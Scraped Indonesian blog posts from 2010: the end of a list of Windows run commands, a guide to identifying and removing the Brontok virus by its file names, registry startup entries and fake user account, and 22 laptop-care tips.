Windows Firewall = firewall.cpl
Windows Magnifier = magnify
Windows Management Infrastructure = wmimgmt.msc
Windows System Security Tool = syskey
Windows Update Launches = wupdmgr
Windows XP Tour Wizard = tourstart
Wordpad = write

Memberantas Virus Brontok

2010-05-08T23:47:00.002-07:00

Mungkin teman-teman sering mengalami rasa kekesalan yang sangat mendalam ketika Komputer anda menjadi sarang Virus.Komputer menjadi Lemot,Regedit dan Msconfig jg di tutup atau di sembunyikan oleh virus tersebut.Folder asli terkadang di hiden dan folder yang seharusnya memiliki "type" file folder berubah menjadi "tipe" application dan folder trsebut disisipin (.exe) dan parahnya lagi di
Di My Documents Muncul file :

- Data Ign. Basuki.exe
- Lagu - Server.scr
- Love Song.scr
- New mp3 BaraT !!.exe
- Norman virus Control 5.18.exe
- Windows Vista setup.scr
Di direktori C:\Documents and Settings\ ada direktori bernama Ign. Basuki, karena virus membuat user Ign. Basuki
FILE INDUK VIRUS

File induk virus terletak di :

C:\WINDOWS\ dengan nama file p096743.exe
C:\Windows\ dengan nama file EmangEloh.exe

Sedangkan file lainnya bernama :

jb3248432.exe
act.exe
aa.bat
Ino.com
n1296371.cmd
ykrp.com

REGEDIT

Virus mengubah beberapa nilai registri di:
Alamat : Hkey_Current_User/Software/Microsoft/Windows/CurrentVerrsion/Run
Key:T085
Value:p096743.exe
Alamat : Hkey_Current_User/Software/Microsoft/Windows/CurrentVerrsion/Run
Key:T085
Value:jb3248432.exe
Alamat:
Hkey_Local_Machine/Software/Microsoft/Windows/CurrentVerrsion/Run
Key:
System
Value:
C:\Windows\EmangEloh.exe

PESAN SPONSOR
Pesan sponsor yang ditampilkan oleh virus seperti tulisan di bawah ini:
MoonligHt[A]
they still hurt me ..in the Moonlight , ill diei can't wait tommorow ,
it's so much to longgoodbye SicknessSpecially to LanElitta
Gw Sadar Kalo Kitamemang tidak bisa bersatu di dunia fana : (
sekarang bagi gw kematian begitu indah di mata gw
by | HellSPAWN |

Nb:Devit==>Sang Pembuat Virus mungkin sangat mencintai seorang Wanita bernama LanElita

PENANGGULANGAN
1. Download ShowKillProcess.exe di DownloadShowkillProcess
2. Jalankan ShowKillProcess.exe, cari nama process di bawah ini dan kill :
p096743.exe
EmangEloh.exe
jb3248432.exe
act.exe
aa.bat
Ino.com
n1296371.cmd
ykrp.com

Dengan memakai WAVBeta update terbaru, Scan File Virus tersebut, terutama di direktori:
- My Documents
- C:\Documents and Settings
- C:\Windows\
Cari File dengan nama di bawah ini dan hapus:

p096743.exe
EmangEloh.exe
jb3248432.exe
act.exe
aa.bat
Ino.com
n1296371.cmd
ykrp.com
Data Ign. Basuki.exe
Lagu - Server.scr
Love Song.scr
New mp3 BaraT !!.exe
Norman virus Control 5.18.exe
Windows Vista setup.scr

*Cari file aplikasi dengan besar 42 kb dan punya icon direktori berwarna kuning.
*Buka MSConfig dan hilangkan tanda centang pada nama Ino
*Login Sebagai Administrator, hapus user dengan nama Ign. Basuki
*Kemudian Hapus Folder Ign. Basuki yang ada di C:\Documents and Settings

Nah sekarang Selamat Mencoba semoga Anda berhasil..Bravo y.. Jangan lupa sediakan

Cara Merawat Laptop

2010-05-08T23:47:00.001-07:00

Laptop adalah barang elektronik yang sangat sensitif bila tidak di jaga secara baik dan tidak melakukan perawatan dengan benar maka Laptop anda akan sering masuk ke tempat service Laptop.Komponen Laptop juga sangat Mahal di bandingkan dengan Komponen PC.Untuk menghindari merogoh uang saku anda sebaiknya anda melakukan Tips Cara merawat Laptop di bawah ini. : Semoga Bermanfaat ^_^

01. Jangan sembarangan mendownload software gratis dari internet.

Terlebih lagi misalnya software yang seolah-olah sebagai suatu antivirus. Gunakan software-software yang telah Anda dapatkan dari paket laptop yang Anda beli. Risiko virus bisa merusak ke dalam laptop Anda jika Anda sembarangan menggunakan software dari internet. Jika Anda tetap ingin menggunakan software hasil download, maka pastikan sudah Anda scan software tersebut dengan antivirus yang Anda miliki.

02. Jangan memberikan Penutup apapapun termasuk sarung Laptop pada saat Laptop anda dalam keadaan menyala karena berdasarkan pengalaman Laptop teman saya Processor Laptopnya akan mati karena sirkulasi udara yang tidak ada di bawah permukaan Laptop

03. Menurut survei, kerusakan laptop yang paling umum terjadi pada harddisk dan LCD display/layar. Kerusakan harddisk diakibatkan benturan atau terjatuh. Kerusakan LCD biasanya karena terpapar sinar matahari dan tekanan fisik.

04. Rapikanlah kabel-kabel adaptor atau kabel lain yang sedang terhubung dengan laptop, jangan sampai membuat orang lain tersandung.

05. Selain kerusakan harddisk dan LCD, tumpahan cairan adalah penyebab kerusakan laptop yang paling umum, atau pakai selembar film-transparan yang disebut ‘keyboard protector’.

06. Hindari Getaran dan Jauhkan laptop dari alat pengeras suara, misalnya loudspeaker, mesin/kendaraan berat, dan sumber getaran lainnya.

07. Hindarkan laptop dari sinar x-ray di airport.

08. Jaga kebersihan laptop, lap dengan kain bersih atau kapas agar bebas debu.

09. Lindungi modem laptop. Gunakan modem yang mempunyai fitur digital-line guard. Karena fitur ini akan menjaga modem dari kerusakan jika secara tidak sengaja mencolokkan kabel modem ke jack telpon digital PABX atau jalur ISDN. Dan berhati-hatilah ketika akan mencolokkan kabel telepon ke laptop karena kawat logam dalam konektor modem laptop sangat tipis dan mudah bengkok.

10. Dalam iklim Asia, suhu yang lembab bisa jadi masalah besar untuk laptop yang dirancang di Amerika Serikat. Untuk mengurangi kemungkinan masalah, pastikan laptop tersimpan di tempat yang kering dan sejuk. Jika laptop tidak digunakan untuk waktu yang lama, simpanlah laptop dalam wadah yang rapat dan masukkan silica gel . Silica gel ini seperti halnya yang terdapat dalam botol obat, kemasan barang2 elektronik (bungkusan kecil bertuliskan ‘Dessicant Silica Gel’). Atau bisa dibeli di toko bahan kimia. Silica gel ini merupakan bahan kimia yg bersifat Higroskopis (menyerap uap air / kelembaban).

11. Listrik padam dan gangguan tegangan dapat terjadi sewaktu-waktu, di rumah, di kamar hotel atau di kantor. Jika memungkinkan, gunakanlah ’surge-protector’ jika sedang menggunakan AC outlet. Dan jangan lupa membuat back-up data secara rutin.

12. Gunakanlah selalu tas laptop ketika sedang bepergian.

13. Jika ingin membungkus laptop untuk dikirim atau untuk keperluan lain, gunakanlah kotak pelindung yang kuat, dan bungkuslah dengan busa atau spons yang dapat menyerap getaran.

14. Jangan sekali-sekali meletakkan benda berat di atas laptop.

15. Jika laptop bermasalah, jangan mencoba untuk membongkar sendiri. Sebaiknya serahkan ke teknisi atau service-center terdekat. Karena mungkin saja kerusakan malah akan menjadi semakin berat. Khusus untuk laptop yang masih dalam masa garansi - membongkar laptop dapat merusak sticker garansi (warranty seal) yang masih melekat pada laptop.

16. Ketika akan mengangkat laptop yang sedang terbuka, jangan mengangkatnya sambil memegang pada bagian display/layar, angkatlah pada bagian bawah/keyboard

17. Jangan memasukkan disket pada bagian sudutnya. Memasukkan disket setengah-setengah dapat merusak disk-drive. Begitu juga ketika membuka atau menutup tray drive CD-ROM/DVD-ROM untuk memasukkan atau mengeluarkan disk. Jangan menyentuh lensa pada tray CD-ROM. Peganglah compact-disc pada bagian pinggir, bukan pada permukaan disk.

18. Jangan mencolokkan kabel modem laptop pada PBX (private branch exchange) atau saluran telpon digital. Laptop hanya dapat menggunakan saluran PSTN (public-switched telephone network). Penggunaan saluran telpon selain PSTN dapat merusak modem laptop.

19. Rawatlah baterai laptop, jangan sampai bocor karena dapat merusak slot baterai.

20. Jangan pindah-pindahkan laptop pada saat masih hidup. Laptop yang sedang hidup berarti harddisknya juga sedang bekerja sehingga apabila digerakkan dapat menyebabkan head harddisk menggores cylinder sehingga akan berakibat fatal.

21. Jauhkan laptop dari medan magnet yang kuat, bahan cair dan sumber panas/dingin atau perubahan suhu yang ekstrim.

22. Hindari sinar matahari langsung dan pastikan laptop selalu diletakkan pada permukaan yang rata.

Nb: Kartu Garansi anda Jangan Sampai Hilang dan apabila terjadi kerusakan Fatal terhadap Laptop anda Bawa ke tempat Toko pada saat anda Membeli Laptop dulu.